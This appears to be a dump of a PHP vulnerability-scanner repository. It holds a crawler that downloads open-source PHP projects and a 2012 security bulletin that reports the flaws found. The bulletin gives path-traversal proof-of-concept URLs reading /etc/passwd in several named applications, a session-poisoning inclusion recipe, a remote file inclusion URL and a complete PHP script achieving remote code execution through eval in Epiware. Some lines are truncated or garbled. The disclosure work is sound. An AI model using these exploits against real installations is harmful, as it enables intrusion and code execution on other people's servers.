├── collector.pl ├── doc ├── BUGTRAQ.PHPSECLAB ├── BUGTRAQ.UNRESOLVED ├── FALSE_POSITIVES ├── LICENSE ├── TAINT_CHECKER_STRUCTURES └── TODO ├── install.sh ├── low_hanging_search.sh ├── scary.pl ├── scheduler.pl └── tests ├── README ├── addslashes_false_positive.params ├── addslashes_false_positive.php ├── addslashes_false_positive.result ├── addslashes_false_positive2.params ├── addslashes_false_positive2.php ├── addslashes_false_positive2.result ├── addslashes_false_positive3.params ├── addslashes_false_positive3.php ├── addslashes_false_positive3.result ├── addslashes_false_positive4.params ├── addslashes_false_positive4.php ├── addslashes_false_positive4.result ├── addslashes_false_positive5.params ├── addslashes_false_positive5.php ├── addslashes_false_positive5.result ├── backtick.php ├── backtick.result ├── case.params ├── case.php ├── case.result ├── conditional_sanitizing.php ├── constants_resolver1.php ├── constants_resolver2.php ├── define.inc ├── entry_point ├── .htaccess ├── entry_point_not_vuln.php ├── entry_point_vuln.php ├── not_entry_point_not_vuln.php └── not_entry_point_vuln.php ├── function.potential.params ├── function.potential.php ├── function.potential.result ├── function_use_before_declaration.php ├── functions0.php ├── functions0.result ├── functions1.params ├── functions1.php ├── functions1.result ├── functions10.php ├── functions10.result ├── functions12.php ├── functions12.result ├── functions13.php ├── functions13.result ├── functions14.php ├── functions14.result ├── functions2.params ├── functions2.php ├── functions2.result ├── functions3.params ├── functions3.php ├── functions3.result ├── functions4.php ├── functions4.result ├── functions5.php ├── functions5.result ├── functions6.php ├── functions6.result ├── functions7.params ├── functions7.php ├── functions7.result ├── functions8.php ├── globals.php ├── globals.result ├── html.php ├── html.result ├── inline.php ├── inline.result ├── interpolation.php ├── interpolation.result ├── lfi_no_nullbyte.php ├── lfi_no_nullbyte.result ├── lfi_with_nullbyte.php ├── list.php ├── list.result ├── list_epicware.php ├── list_epicware.result ├── list_epicware2.php ├── list_epicware2.result ├── logical_and.php ├── multifrag.params ├── multifrag.php ├── multifrag.result ├── multifrag2.php ├── multifrag2.result ├── multiple_false_negative1.params ├── multiple_false_negative1.php ├── multiple_false_negative1.result ├── nested_call.php ├── no_bracket.inc ├── no_sql_inject.params ├── no_sql_inject.php ├── no_sql_inject.result ├── one_line.php ├── one_line.result ├── open_brackets.php ├── preg_replace_eval.php ├── reg_global.php ├── reg_global.result ├── sql_inject.params ├── sql_inject.php ├── sql_inject.result ├── trace ├── trace.php └── trace2.php ├── untainting1.params ├── untainting1.php ├── untainting1.result ├── untainting2.params ├── untainting2.php ├── untainting2.result ├── upload1.params ├── upload1.php ├── upload1.result ├── upload2.params ├── upload2.php ├── upload2.result ├── volatile.php ├── volatile.result ├── volatile1.php ├── volatile1.result ├── volatile2.php ├── volatile2.result ├── volatile3.php ├── volatile3.result ├── xss_and_sql_false_positive.params ├── xss_and_sql_false_positive.php ├── xss_and_sql_false_positive.result ├── xss_and_sql_false_positive2.params ├── xss_and_sql_false_positive2.php ├── xss_and_sql_false_positive2.result └── xss_and_sql_false_positive2.results /collector.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl 2 | ## SCARY's collector 3 | ## currently sourceforge only 4 | #http://sourceforge.net/directory/language:php/ 5 | #http://sourceforge.net/directory/language%3Aphp/?page=9 6 | ## We are experiencing an issue with collector, looks like sourceforge detects this is an automated web client and serves only first page regardless to the page parameter. Probably we'll replace this with chickenfoot or sth. 7 | 8 | use strict; 9 | use HTTP::Request::Common qw(POST); 10 | use HTTP::Request; 11 | use HTTP::Cookies; 12 | use LWP::UserAgent; 13 | use LWP::Simple; 14 | use Compress::Zlib; 15 | 16 | 17 | my $max_subpages=20; ## number of pages with results 18 | my $max_meanpage_delay=20; ## 15 minutes 19 | my $max_meandownload_delay=30; ## 2 minutes 20 | my $min_download_page=10; ## do not go lower than these subpages 21 | my $repo='google'; 22 | my $victims_dir='/home/acid/src/Perl/DiveInferno/victims/'; 23 | my $agent="Opera/9.80 (X11; Linux x86_64; U; en) Presto/2.10.229 Version/11.61"; 24 | my $ua = LWP::UserAgent->new or die; 25 | my $cookie_jar = HTTP::Cookies->new(); 26 | $ua->cookie_jar($cookie_jar); 27 | my $req; 28 | my $res; 29 | my $can_accept = HTTP::Message::decodable; 30 | my %repos; 31 | 32 | sub goto_page_rand ## [READY] 33 | { 34 | my $r=int(rand($max_meanpage_delay)); 35 | $r++ if($r eq 0); 36 | $r+=$min_download_page; 37 | $r*=10; ## gooogle 38 | my $link; 39 | $link="http://sourceforge.net/directory/language%3Aphp/?page=$r" if($repo eq 'sourceforge'); 40 | $link="http://code.google.com/hosting/search?q=label%3APHP&filter=0&mode=&start=$r"; 41 | 42 | print "Going to page $link... (can accept: $can_accept)\n"; 43 | $req = HTTP::Request->new(GET => $link); 44 | $req->header('Accept-Encoding' => $can_accept); 45 | $res=$ua->request($req); 46 | my @project_names=(); 47 | ## now, let's get the project's list 48 | # print $res->content."\n"; 49 | #my $content=$res->content; 50 | ### probably no referrer or cookies support causes this problem 51 | my $content=$res->decoded_content; 52 | print "Saving content into $repo.content.debug\n"; 53 | open(chuj,">$repo.content.debug"); 54 | print chuj $content; 55 | close(chuj); 56 | die('Examine it!'); 57 | #while($content=~/(\w+)<\/span>/sg) ## sourceforge 58 | while($content=~/href="\/(\w+)\/(.*?)\/" style="font-size:medium">(.*?) -  (.*?)<\/a>/) 59 | { 60 | my $project_name=$1; 61 | print "Estimated project name: $project_name\n"; 62 | push(@project_names,$project_name); 63 | sleep(1); 64 | } 65 | if(scalar(@project_names) eq 0) 66 | { 67 | print "What the fuck, no projects fonud.\n"; 68 | die; 69 | } 70 | print "Ok, now going to download them, one after another.\n"; 71 | foreach my $project_name(@project_names) 72 | { 73 | if(&project_downloaded($project_name) eq 1) 74 | { 75 | print "Project $project_name already downloaded.\n"; 76 | next; 77 | } 78 | my $delay2=int(rand($max_meandownload_delay)); 79 | print "Going to sleep for $delay2 before hitting http://sourceforge.net/projects/$project_name/?source=directory\n"; 80 | sleep($delay2); 81 | my $ua2=LWP::UserAgent->new or die; 82 | my $cookie_jar2 = HTTP::Cookies->new(); 83 | $ua2->cookie_jar($cookie_jar2); 84 | my $project_download_page="http://code.google.com/p/$project_name/downloads/list"; 85 | my $req2 = HTTP::Request->new(GET => $project_download_page); 86 | my $res2=$ua2->request($req2); 87 | 88 | while($res2->content=~content=~//sg)) ## sourceforge 95 | #{ 96 | # print "Could not find download link in ".$res2->content."\n"; 97 | # next; 98 | #} 99 | my $download_link=$1; 100 | print "Found direct download URL $download_link. Downloading...\n"; 101 | if(&download_project($download_link,$project_name) eq 1) 102 | { 103 | print "Success.\n"; 104 | } 105 | else 106 | { 107 | print "Failed!\n"; 108 | } 109 | } 110 | } 111 | 112 | sub download_project ## [READY] 113 | { 114 | my $link=shift; 115 | my $project_name=shift; 116 | my $wdir=`pwd`; 117 | mkdir($victims_dir/$project_name); 118 | `wget $link -O $victims_dir/$project_name/`; 119 | my $project_archive=`ls $victims_dir/$project_name/`; 120 | chomp($project_archive); 121 | print "Downloaded project archive: $victims_dir/$project_name/$project_archive\n"; 122 | chdir("$victims_dir/$project_name"); 123 | if($project_archive=~/tar\.gz$/||$project_archive=~/tgz$/) 124 | { 125 | system("tar zxfv $project_archive"); 126 | chdir($wdir); 127 | return 1; 128 | } 129 | if($project_archive=~/tar\.bz2$/) 130 | { 131 | system("tar jxfv $project_archive"); 132 | chdir($wdir); 133 | return 1; 134 | } 135 | if($project_archive=~/\.zip$/) 136 | { 137 | system("unzip $project_archive"); 138 | chdir($wdir); 139 | return 1; 140 | } 141 | chdir($wdir); 142 | print "$project_archive - unknown archive format.\n"; 143 | return 0; 144 | } 145 | 146 | sub project_downloaded ## [READY] 147 | { 148 | my $project_name=shift; 149 | print "Checking for $victims_dir/$project_name\n"; 150 | return 1 if(-d "$victims_dir/$project_name"); 151 | return 0; 152 | } 153 | 154 | ## RUN [READY] 155 | $ua->agent($agent); 156 | $ua->timeout(20); 157 | while(1) 158 | { 159 | &goto_page_rand(); 160 | my $delay=int(rand($max_meanpage_delay)); 161 | print "Sleeping for $delay meanpage seconds.\n"; 162 | sleep($delay); 163 | } -------------------------------------------------------------------------------- /doc/BUGTRAQ.PHPSECLAB: -------------------------------------------------------------------------------- 1 | webapps security bulletin 2012/11/1 by ewilded 2 | 3 | (all flaws have been succesfuly epxloited under GNU/Linux i686 with php 5.1 and Apache HTTP server) 4 | 5 | project name: base-1.4.5 6 | type:LFI 7 | additional conditions: 8 | - session poisoning ability (local filesystem access required to poison/prepare the session file) 9 | - nullbyte path poisoning ability 10 | code trace: 11 | base-1.4.5/base-1.4.5/setup/setup2.php:31:$ado_inc_php = $_SESSION['adodbpath'] . "/adodb.inc.php"; 12 | base-1.4.5/base-1.4.5/setup/setup2.php:47:include($ado_inc_php); 13 | How to exploit: 14 | 1) prepare session file with the following content: 15 | adodbpath|s:49:"./../../../../../../../../../../../tmp/evil.code^@"; 16 | (^@ indicates nullbyte, this is how it's represented in vim) 17 | under i.e. /tmp/sess_q6gtboa7somjf53utrpgn1gqh4 where q6gtboa7somjf53utrpgn1gqh4 is PHPSESSID value and /tmp is session.save_path 18 | 2) put code to execute under: /tmp/code 19 | then run: http://phpseclab/base-1.4.5/base-1.4.5/setup/setup2.php 20 | 21 | Probably other vulnerabilities (not verified): 22 | [EXEC-NULLBYTE_REQUIRED-REGISER_GLOBALS_REQUIRED] 23 | [EXEC-NULLBYTE_REQUIRED-REGISER_GLOBALS_REQUIRED] base-1.4.5/base-1.4.5/base_stat_common.php:22:include_once("$BASE_path/includes/base_constants.inc.php"); 24 | [EXEC-NULLBYTE_REQUIRED-REGISER_GLOBALS_REQUIRED] base-1.4.5/base-1.4.5/admin/index.php:23: include("$BASE_path/includes/base_constants.inc.php"); 25 | (this one repeats in many other files) 26 | 27 | [FOPEN-REGISER_GLOBALS_REQUIRED] 28 | [FOPEN-REGISER_GLOBALS_REQUIRED] base-1.4.5/base-1.4.5/includes/base_template.php:116: global $TPATH; 29 | [FOPEN-REGISER_GLOBALS_REQUIRED] base-1.4.5/base-1.4.5/includes/base_template.php:118: $template = file_get_contents($TPATH."/".$file); 30 | [FOPEN-REGISER_GLOBALS_REQUIRED] base-1.4.5/base-1.4.5/includes/base_template.php:72: function file_get_contents($filename) 31 | [FOPEN-REGISER_GLOBALS_REQUIRED] base-1.4.5/base-1.4.5/includes/base_template.php:74: if (file_exists($filename)) 32 | [FOPEN-REGISER_GLOBALS_REQUIRED] base-1.4.5/base-1.4.5/includes/base_template.php:76: $buf = file($filename); 33 | [FOPEN-REGISER_GLOBALS_REQUIRED] base-1.4.5/base-1.4.5/includes/base_template.php:118: $buf = file($filename); 34 | 35 | and probably many other. 36 | 37 | 38 | 39 | project name: ATutor-2.1 40 | type: LFI 41 | additional conditions: 42 | - authentication required 43 | code trace: 44 | [EXEC] ATutor-2.1/ATutor/mods/_core/tool_manager/index.php:26:$tool_file= AT_INCLUDE_PATH.'../'.$_REQUEST['tool_file']; // viene prelevato il path del file necessario per prelevare le informazioni relative ai sottocontenuti 45 | [EXEC] ATutor-2.1/ATutor/mods/_core/tool_manager/index.php:27:$tool_list = require($tool_file); //si richiede la lista ei contenuti per lo strumento. i contenuti trovati potranno essere inseriti all'interno del materiale didattico come collegamento. 46 | PoC: http://phpseclab/ATutor-2.1/ATutor/mods/_core/tool_manager/index.php?h=1&tool_file=./../../../../../../../../../../etc/passwd 47 | Stauts: reported to OSVDB 48 | Probably many other vulnerabilities present. 49 | 50 | 51 | Just downloaded from here (http://sourceforge.net/projects/opensis-ce/?source=directory), it was updated ~3 hours ago 52 | project name: opensis 5.1 53 | type: LFI 54 | additional conditions: 55 | - authentication required 56 | code trace: 57 | opensis5.1/opensis/ajax.php:79: if(strpos(clean_param($_REQUEST['modname'],PARAM_NOTAGS),'misc/')===false) 58 | opensis5.1/opensis/ajax.php:86:if(clean_param($_REQUEST['modname'],PARAM_NOTAGS)) 59 | opensis5.1/opensis/ajax.php:90: if(strpos($_REQUEST['modname'],'?')!==false) 60 | opensis5.1/opensis/ajax.php:92: $vars = substr($_REQUEST['modname'],(strpos($_REQUEST['modname'],'?')+1)); 61 | opensis5.1/opensis/ajax.php:93: $modname = substr($_REQUEST['modname'],0,strpos($_REQUEST['modname'],'?')); 62 | opensis5.1/opensis/ajax.php:79: if(strpos(clean_param($_REQUEST['modname'],PARAM_NOTAGS),'misc/')===false) 63 | opensis5.1/opensis/ajax.php:86:if(clean_param($_REQUEST['modname'],PARAM_NOTAGS)) 64 | opensis5.1/opensis/ajax.php:90: if(strpos($_REQUEST['modname'],'?')!==false) 65 | opensis5.1/opensis/ajax.php:92: $vars = substr($_REQUEST['modname'],(strpos($_REQUEST['modname'],'?')+1)); 66 | opensis5.1/opensis/ajax.php:93: $modname = substr($_REQUEST['modname'],0,strpos($_REQUEST['modname'],'?')); 67 | opensis5.1/opensis/ajax.php:103: $modname = $_REQUEST['modname']; 68 | opensis5.1/opensis/ajax.php:133: include('modules/'.$modname); 69 | 70 | PoC: http://phpseclab/opensis5.1/opensis/ajax.php?modname=misc/../../../../../../../../../../../../../etc/passwd&bypass=Transcripts.php 71 | Transcripts.php string is required to bypass validateQueryString() function. 72 | Stauts: reported to OSVDB 73 | Probably many other vulnerabilities present. 74 | 75 | 76 | 77 | 78 | [ webapps security bulletin 2012/11/2 by ewilded ] 79 | 80 | Project name: Epiware 4.8.6 81 | Type: RCE 82 | Additional conditions: 83 | - deprecated $HTTP_POST_VARS (register_long_arrays needs to be on) 84 | - authentication required 85 | Vulnerable code (calendar_viewweek.php:373): 86 | if(is_array($HTTP_POST_VARS)) 87 | { 88 | while(list($header,$value)=each($HTTP_POST_VARS)) 89 | { 90 | eval("$".$header."=\"$value\";"); 91 | } 92 | } 93 | Description: 94 | It is possible to create malicious POST variable which will change the syntax of string put to eval, leading to arbitrary code execution. The error was present in few other files, however it got commented out with upgrade at 07.10.2012, while calendar_viewweek.php is still vulnerable. 95 | Exploit: 96 | $login,'password'=>$pass)); 112 | curl_setopt($ch,CURLOPT_COOKIE,"_test_cookie=0"); 113 | curl_setopt($ch,CURLOPT_HEADER,TRUE); 114 | $content=curl_exec($ch); 115 | echo $content; 116 | if(!preg_match("#token=(\w+)#",$content,$token)) 117 | { 118 | echo "Authentication failed.\n"; 119 | die(); 120 | } 121 | $token=$token[1]; 122 | $ch = curl_init(); 123 | curl_setopt($ch,CURLOPT_URL,"http://$host/$path/epi_login.php?token=$token"); 124 | curl_setopt($ch,CURLOPT_RETURNTRANSFER, 1); 125 | curl_setopt($ch,CURLOPT_COOKIE,"_test_cookie=0"); 126 | curl_setopt($ch,CURLOPT_HEADER,TRUE); 127 | $content=curl_exec($ch); 128 | echo "$content\n"; 129 | 130 | preg_match('/Set-Cookie: enc_user_id=(\w+)/',$content,$user_token); 131 | $user_token=$user_token[1]; 132 | preg_match('/Cookie: enc_group_id=(\w+)/',$content,$group_token); 133 | $group_token=$group_token[1]; 134 | if(!$user_token||!$group_token) die("Could not authenticate, did not receive session cookie.\n"); 135 | #$authorized=preg_match('//',$content,$auth); 136 | #if(!$authorized) die("Failed to authenticate with $login and $pass credentials.\n"); 137 | $code_base64_encoded=base64_encode("$phpcode"); 138 | 139 | $ch = curl_init(); 140 | curl_setopt($ch,CURLOPT_URL,"http://$host/$path/calendar_viewweek.php"); 141 | curl_setopt($ch,CURLOPT_RETURNTRANSFER, 1); 142 | curl_setopt($ch,CURLOPT_POST,true); 143 | curl_setopt($ch,CURLOPT_POSTFIELDS,array('code_to_execute'=>"=\".eval(base64_decode('$code_base64_encoded')).\"")); 144 | curl_setopt($ch,CURLOPT_COOKIE,"_test_cookie=0;enc_user_id=$user_token;enc_group_id=$group_token"); 145 | curl_setopt($ch,CURLOPT_HEADER,TRUE); 146 | $content=curl_exec($ch); 147 | echo "$content\n"; 148 | if(preg_match('/(CODE_EXECUTION_SUCCESFUL)/s', $content, $m)) 149 | { 150 | print_r($m); 151 | } 152 | else 153 | { 154 | die("Exploit failed!\n"); 155 | } 156 | ?> 157 | Stauts: reported to OSVDB 158 | 159 | 160 | Project name: NetOfficeDwins 1.4p4 161 | Type: LFI 162 | Additional conditions: 163 | - nullbyte path poisoning ability required 164 | Vulnerable code (netOfficeDwins.1.4p4/netoffice/installation/upgrade.php:534): 165 | case "3": 166 | $action = isset($_REQUEST['action'])?$_REQUEST['action']:''; 167 | $prevroot = isset($_REQUEST['prevroot'])?$_REQUEST['prevroot']:''; 168 | 169 | if ($action == "check") { 170 | if ($prevroot == '') { 171 | $error = 'Must be insert the Previous Installation Root.'; 172 | } else if (!file_exists($prevroot)) { 173 | $error = $prevroot . " doesn't exist."; 174 | } else { 175 | $prevroot = str_replace('\\', '/', $prevroot); 176 | 177 | if (substr($prevroot, -1) == '/') { 178 | $prevroot = substr($prevroot, 0, -1); 179 | } 180 | 181 | $prevsettings = $prevroot . '/includes/settings.php'; 182 | 183 | if (!file_exists($prevsettings)) { 184 | $error = $prevsettings . " doesn't exist."; 185 | } else { 186 | require($prevsettings); 187 | Description: 188 | It is possible to include arbitrary local file, leading to information disclosure or injected code execution. Though vulnerable file is located under install directory, which is advised to be removed after the installation process, this action is not required to use the application and user is not forced to perform it, therefore it leads to leaving that file accesible for potential attacks. 189 | PoC: http://phpseclab/netofficedwins/netoffice/installation/upgrade.php?step=3&action=check&prevroot=./../../../../../../../../../../../../../../../../etc/passwd%00 190 | Status: Reported to OSVDB 191 | 192 | 193 | Project name: ClanSphere 2011.3 patch_2 (current version, downloaded today from http://sourceforge.net/projects/clansphere/files/latest/download?source=files - link supplied by the vendor's site: http://www.csphere.eu/downloads/files/view/id/2) 194 | Type: LFI 195 | Additional conditions: 196 | - nullbyte path poisoning ability required 197 | - authentication requried 198 | Vulnerable code (mods/clansphere/lang_modvalidate.php:16): 199 | $language = $_GET['language']; 200 | $module = $_GET['module']; 201 | $fix = !isset($_GET['fix']) ? 0 : 1; 202 | 203 | 204 | $file = 'lang/' . $language . '/' . $module . '.php'; 205 | 206 | if(!file_exists($file)) { 207 | echo 'Datei nicht gefunden: ' . $file; 208 | return; 209 | } 210 | 211 | $cs_main['mod'] = 'clansphere'; 212 | $cs_main['action'] = 'lang_modvalidate'; 213 | 214 | if($account['access_clansphere'] < 5) { 215 | echo 'Kein Zugriff'; 216 | return; 217 | } 218 | 219 | $cs_lang = array(); 220 | include 'lang/' . $language . '/system/main.php'; 221 | Status: reported to OVSDB 222 | PoC: 223 | http://phpseclab/clansphere_2011.3_patch_2-2012-11-17/mods/clansphere/lang_modvalidate.php?language=./../../../../../../../../../etc/passwd%00 224 | 225 | 226 | 227 | Project name: Pika forum (current version, last updated 2012-09-16) 228 | Type: Authentication bypass through SQL injection 229 | Additional conditions: no 230 | Vulnerable code: 231 | master_set.php: 232 | 275 | "; 276 | } else { 277 | // my_pre my_mono 278 | echo "\t

\n"; 279 | include($file_save); 280 | echo "\n\t


\n"; 281 | } 282 | Description: It is simply possible to include and execute remote PHP code by manipulating file_save_image URL variable in save.php. This requires allow_url_open in php.ini to be turned on. Otherwise Local File Inclusion is still possible. 283 | PoC: It is simply exploitable with web browser, http://phpseclab/phpsane-0.6.1/save.php?file_save=http://example.org/malicious.code 284 | Status: reported to OVSDB 285 | Update: it turns out that vulnerability is well known for about 5 years and is present from version 0.5.x .... however no instances found on the web. 286 | 287 | 288 | 289 | [0m [1;31m[EXEC-NULLBYTE_REQUIRED] 290 | [EXEC-NULLBYTE_REQUIRED]/home/scary/victims//cpassman_1.82-112-10-18/cpassman/index.php:7: if (!isset($_SESSION['user_language']) && !isset($_COOKIE['user_language'])) { 291 | [EXEC-NULLBYTE_REQUIRED]/home/scary/victims//cpassman_1.82-112-10-18/cpassman/index.php:8: if (isset($_POST['language'])) { 292 | [EXEC-NULLBYTE_REQUIRED]/home/scary/victims//cpassman_1.82-112-10-18/cpassman/index.php:9: $_SESSION['user_language'] = filter_var($_POST['language'], FILTER_SANITIZE_STRING); 293 | [EXEC-NULLBYTE_REQUIRED]/home/scary/victims//cpassman_1.82-112-10-18/cpassman/index.php:12: $_SESSION['user_language'] = "english"; 294 | [EXEC-NULLBYTE_REQUIRED]/home/scary/victims//cpassman_1.82-112-10-18/cpassman/index.php:8: if (isset($_POST['language'])) { 295 | [EXEC-NULLBYTE_REQUIRED]/home/scary/victims//cpassman_1.82-112-10-18/cpassman/index.php:9: $_SESSION['user_language'] = filter_var($_POST['language'], FILTER_SANITIZE_STRING); 296 | [EXEC-NULLBYTE_REQUIRED]/home/scary/victims//cpassman_1.82-112-10-18/cpassman/index.php:10: $_COOKIE['user_language'] = filter_var($_POST['language'], FILTER_SANITIZE_STRING); 297 | [EXEC-NULLBYTE_REQUIRED]/home/scary/victims//cpassman_1.82-112-10-18/cpassman/index.php:16: if (isset($_POST['language'])) { 298 | [EXEC-NULLBYTE_REQUIRED]/home/scary/victims//cpassman_1.82-112-10-18/cpassman/index.php:17: $_SESSION['user_language'] = filter_var($_POST['language'], FILTER_SANITIZE_STRING); 299 | [EXEC-NULLBYTE_REQUIRED]/home/scary/victims//cpassman_1.82-112-10-18/cpassman/index.php:20: $_SESSION['user_language'] = $_COOKIE['user_language']; 300 | [EXEC-NULLBYTE_REQUIRED]/home/scary/victims//cpassman_1.82-112-10-18/cpassman/index.php:8: if (isset($_POST['language'])) { 301 | [EXEC-NULLBYTE_REQUIRED]/home/scary/victims//cpassman_1.82-112-10-18/cpassman/index.php:9: $_SESSION['user_language'] = filter_var($_POST['language'], FILTER_SANITIZE_STRING); 302 | [EXEC-NULLBYTE_REQUIRED]/home/scary/victims//cpassman_1.82-112-10-18/cpassman/index.php:10: $_COOKIE['user_language'] = filter_var($_POST['language' 303 | 304 | /home/scary/victims//cpassman_1.82-112-10-18/cpassman/index.php 305 | -------------------------------------------------------------------------------- /doc/FALSE_POSITIVES: -------------------------------------------------------------------------------- 1 | Looks like rawurlencode eliminates nullbyte. 2 | [EXEC]/home/scary/victims//phpsqlitecms_2.0.3-112-10-19/phpsqlitecms/index.php:47: if($qs=='') $cache_file = rawurlencode(strtolower($settings['index_page'])).'.cache'; 3 | 4 | # - [WARNING] required file doesn't exist: /home/acid/src/Perl/DiveInferno/victims/cpassman_1.82/sources/includes/settings.php (require_once('includes/settings.php')) - is this still up to date? - MAKE SURE WHAT THE WORKING DIR IS SINCE IT'S CRUCIAL! 5 | # - fix recognition of nullbyte requirement for such cases: 6 | [EXEC] base-1.4.5/base-1.4.5/setup/setup2.php:31:$ado_inc_php = $_SESSION['adodbpath'] . "/adodb.inc.php"; 7 | [EXEC] base-1.4.5/base-1.4.5/setup/setup2.php:32:if ($ado_inc_php == "") 8 | [EXEC] base-1.4.5/base-1.4.5/setup/setup2.php:47:include($ado_inc_php); 9 | # - false positive: 10 | $lang = isset($_GET['language']) ? strtolower($_GET['language']) : ''; // get language setting, default to none (english) 11 | if (array_key_exists($lang, $languages)) // is this language installed? 12 | $installMessageFile = "protected/messages/$lang/install.php"; 13 | $installMessages = array(); 14 | if (isset($installMessageFile) && file_exists($installMessageFile)) { // attempt to load installer messages 15 | $installMessages = include($installMessageFile); // from the chosen language 16 | # - false positive 17 | [SQL]/home/scary/victims//ATutor-2.1/ATutor/documentation/add_note.php:59: $sql = "INSERT INTO ".AT_HANDBOOK_DB_TABLE_PREFIX."handbook_notes VALUES (NULL, NOW(), '$_POST[section]', '$_POST[page]', 0, '$_POST[email]', '$_POST[note]')"; 18 | [SQL]/home/scary/victims//ATutor-2.1/ATutor/documentation/add_note.php:60: mysql_query($sql, $db); 19 | - wtf [EXEC]../victims//batavi-1.2.2/admin/ext/PHPExcel/PHPExcel/Shared/JAMA/examples/Stats.php:607:include_once('PEAR.php') 20 | [EXEC]../victims//batavi-1.2.2/admin/ext/PHPExcel/PHPExcel/Shared/JAMA/examples/Stats.php:457:require_once('../Matrix.php') 21 | 22 | 23 | strstr call does not appear in the code trace, why? (docmgr-1.2.6) 24 | $file = $_REQUEST["file"]; 25 | $deffile = $_REQUEST["deffile"]; 26 | //sanity checking 27 | if (!$file) die("No file template specified"); 28 | if ($file[0]=="/") die("Cannot use absolute paths in the filename"); 29 | if (strstr($file,"..")!=null) die("Cannot use \"../\" in the filename"); 30 | if (!file_exists($file)) die("File \"".$file."\" does not exist"); 31 | $str = file_get_contents("$file"); 32 | 33 | 34 | [EXEC]batavi-1.2.2/admin/rpc.php:395:include(DIR_MODULES . btv_Module::getParentClassPath($get_parents) . '/' . $get_module . '.php') 35 | [EXEC]batavi-1.2.2/admin/rpc.php:46:$_module = $get_module; 36 | [EXEC]batavi-1.2.2/admin/rpc.php:60:$module_class = 'btv_Content_' . ucfirst($_module); 37 | [EXEC]batavi-1.2.2/admin/rpc.php:62:$btv_Template = new $module_class(); 38 | [EXEC]batavi-1.2.2/admin/rpc.php:407:require_once(DIR_TEMPLATES_ADMIN . 'pages/' . $request_module . '/' . $btv_Template->getPageContentsFilename()) 39 | - not exploitable - creation of new nonexistant class will result in fatal error 40 | 41 | [EXEC] 42 | [EXEC]batavi-1.2.2/admin/index.php:36:$_SESSION['module'] = $_module; 43 | [EXEC]batavi-1.2.2/admin/index.php:40:if ( $_SESSION['module'] != 'index' && $_SESSION['module'] != 'login' && !btv_Access::hasAccess($_SESSION['module']) ) { 44 | [EXEC]batavi-1.2.2/admin/index.php:51:$module_class = 'btv_Content_' . ucfirst($_SESSION['module']); 45 | [EXEC]batavi-1.2.2/admin/index.php:52:$btv_Template = new $module_class(); 46 | [EXEC]batavi-1.2.2/admin/templates/default.php:166:require_once('templates/pages/' . $btv_Template->getModule() . '/' . $btv_Template->getPageContentsFilename()) 47 | - won't work (another new()) 48 | 49 | [EXEC] 50 | [EXEC]batavi-1.2.2/admin/includes/content/export.php:507:$fileName = DIR_CLASSES_ADMIN . 'export/formats/' . $object . '_' . $format . '.php'; 51 | [EXEC]batavi-1.2.2/admin/includes/content/export.php:511:require_once($fileName) 52 | [EXEC] 53 | [EXEC]batavi-1.2.2/admin/includes/content/export.php:418:$fileName = DIR_CLASSES_ADMIN . 'export/formats/' . $this->_exports_objects_code . '_' . $this->_exports_formats_code . '.php'; 54 | [EXEC]batavi-1.2.2/admin/includes/content/export.php:423:require_once($fileName) 55 | [EXEC] 56 | [EXEC]batavi-1.2.2/admin/includes/content/export.php:253:$fileName = DIR_CLASSES_ADMIN . 'export/formats/' . $exports_objects_code . '_' . $exports_formats_code . '.php'; 57 | [EXEC]batavi-1.2.2/admin/includes/content/export.php:256:require_once($fileName) 58 | [EXEC] 59 | [EXEC]batavi-1.2.2/admin/includes/content/export.php:507:$fileName = DIR_CLASSES_ADMIN . 'export/formats/' . $object . '_' . $format . '.php'; 60 | [EXEC]batavi-1.2.2/admin/includes/content/export.php:511:require_once($fileName) 61 | [EXEC] 62 | [EXEC]batavi-1.2.2/admin/includes/content/export.php:418:$fileName = DIR_CLASSES_ADMIN . 'export/formats/' . $this->_exports_objects_code . '_' . $this->_exports_formats_code . '.php'; 63 | [EXEC]batavi-1.2.2/admin/includes/content/export.php:423:require_once($fileName) 64 | [EXEC] 65 | [EXEC]batavi-1.2.2/admin/includes/content/export.php:253:$fileName = DIR_CLASSES_ADMIN . 'export/formats/' . $exports_objects_code . '_' . $exports_formats_code . '.php'; 66 | [EXEC]batavi-1.2.2/admin/includes/content/export.php:256:require_once($fileName) 67 | - lack of object code understanding 68 | 69 | [EXEC] 70 | [EXEC]batavi-1.2.2/admin/includes/classes/template.php:213:$group = basename($_SERVER['SCRIPT_FILENAME']); 71 | [EXEC]batavi-1.2.2/admin/includes/classes/template.php:215:if (($pos = strrpos($group, '.')) !== false) { 72 | [EXEC]batavi-1.2.2/admin/includes/classes/template.php:213:$group = basename($_SERVER['SCRIPT_FILENAME']); 73 | [EXEC]batavi-1.2.2/admin/includes/classes/template.php:216:$group = substr($group, 0, $pos); 74 | [EXEC]batavi-1.2.2/admin/includes/classes/template.php:226:include(DIR_INCLUDES . 'content/' . $group . '/' . $module . '.php') 75 | - check this out (basename should be already untainting, while $module is probably reg_glob expected 76 | 77 | [1;31m[SQL] 78 | [SQL]/home/scary/victims//wdCalendar1.4/php/datafeed.db.php:1: 79 | $sql = "insert into `jqcalendar` (`subject`, `starttime`, `endtime`, `isalldayevent`) values ('" 80 | .mysql_real_escape_string($sub)."', '" 81 | .php2MySqlTime(js2PhpTime($st))."', '" 82 | .php2MySqlTime(js2PhpTime($et))."', '" 83 | .mysql_real_escape_string($ade)."' )"; 84 | //echo($sql); 85 | if(mysql_query($sql)==false){ 86 | $ret['IsSuccess'] = false; 87 | $ret['Msg'] = mysql_error(); 88 | }else{ 89 | $ret['IsSuccess'] = true; 90 | $ret['Msg'] = 'add success'; 91 | $ret['Data'] = mysql_insert_id(); 92 | } 93 | }catch(Exception $e){ 94 | $ret['IsSuccess'] = false; 95 | $ret['Msg'] = $e->getMessage(); 96 | } 97 | return $ret; 98 | } 99 | 100 | 101 | [1;31m[FOPEN] 102 | [FOPEN]/home/scary/victims//vufind-1.3/vufind-1.3/web/bookcover.php:429: $url = 'http://covers.openlibrary.org/b/isbn/' . $_GET['isn'] . 103 | [FOPEN]/home/scary/victims//vufind-1.3/vufind-1.3/web/bookcover.php:271:function processImageURL($url, $cache = true) 104 | [FOPEN]/home/scary/victims//vufind-1.3/vufind-1.3/web/bookcover.php:431: if ($image = @file_get_contents($url)) { 105 | [0m [1;31m[FOPEN] 106 | [FOPEN]/home/scary/victims//vufind-1.3/vufind-1.3/web/bookcover.php:401: $url = 'http://covers.librarything.com/devkey/' . $id . '/' . $_GET['size'] . 107 | [FOPEN]/home/scary/victims//vufind-1.3/vufind-1.3/web/bookcover.php:271:function processImageURL($url, $cache = true) 108 | 